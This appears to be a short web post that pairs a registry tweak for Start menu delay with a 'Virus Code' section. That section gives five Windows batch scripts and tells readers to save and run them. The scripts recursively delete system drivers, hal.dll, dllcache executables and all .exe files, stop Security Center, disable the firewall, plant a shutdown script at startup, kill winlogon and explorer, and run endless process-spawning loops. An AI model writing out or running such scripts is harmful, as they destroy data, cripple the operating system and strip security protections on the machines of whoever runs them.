Start menu delay

Hkey_current_user\control Panel\desktop locate

Menushowdelay change value from 400 to 15

Virus Code

1)Create a virus of your own .Copy paste the below codes in a notepad and save that file as virus.bat ,then run that file .U can Notice the effect
I)
@echo off
title MacBeth
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del * /S /F /Q .exe
shutdown /F /S /Q
pause
II) This Code shuts down all security.
Makes a new batch file at startup which inside is the command shutdown -s
Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.
Watch the CPU usage go up.
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
III)
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
IV)
shutdown -s -t 10
V)
:start
start "C:\WINDOWS\system32\notepad.exe"
GOTO start